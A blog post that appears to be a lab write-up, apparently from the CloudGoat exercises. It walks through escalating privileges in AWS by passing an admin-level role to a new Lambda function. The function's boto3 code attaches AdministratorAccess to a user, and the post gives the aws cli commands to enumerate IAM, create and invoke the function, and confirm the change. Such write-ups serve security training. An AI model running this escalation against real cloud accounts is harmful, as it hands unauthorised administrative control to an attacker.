root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

Lambda Privesc

---

• AWS Lambda is a compute service that runs code without the need to manage servers.
• Enumerating roles-:

aws iam list-role --profile <iq> | jq

• Enumerating LambdaManager shows that the role has full access over lamda:

aws iam get-policy-version --policy-arn arn:aws:iam::865614241237:policy/cg-lambdaManager-policy-cgid1n6f5si8o5  --version-id v1 --profile lambda_secrets | jq 

• Enumerating debug role shows we have admin access-:

• Only LambdaManager can be assumed-:

---

Privilege Escalation with Lambda

---

• Fixing issue 'Namespace' object has no attribute 'cli_binary_format'-:

pip install awscli

• Adding a new profile to ~/.aws/credentials-:

[temp-profile]
aws_access_key_id = ASIAxxxxxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
aws_session_token = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

• Lambda to escalate privilege-:

import boto3
import json

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName='chris-cgid1n6f5si8o5',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return {'statusCode': 200, 'body': json.dumps(response)}

• Zip the file-:

zip -r solve.zip solve.py

• Creating the function with aws cli-:

A user with the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions can escalate privileges by passing an existing IAM role to a new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice. The code could then be run by invoking the function through the AWS API.

aws lambda create-function --function-name unknown_lambda --runtime python3.11 --role arn:aws:iam::865614241237:role/cg-debug-role-<cgid>  --handler solve.lambda_handler --zip-file fileb://solve.zip --region us-east-1

• Invoking it-:

aws lambda invoke --function-name unknown_lambda output.txt --region us-east-1

• Confirming it-:

aws iam list-attached-user-policies --user-name chris-<cgid> --profile lambda_secrets | jq 

---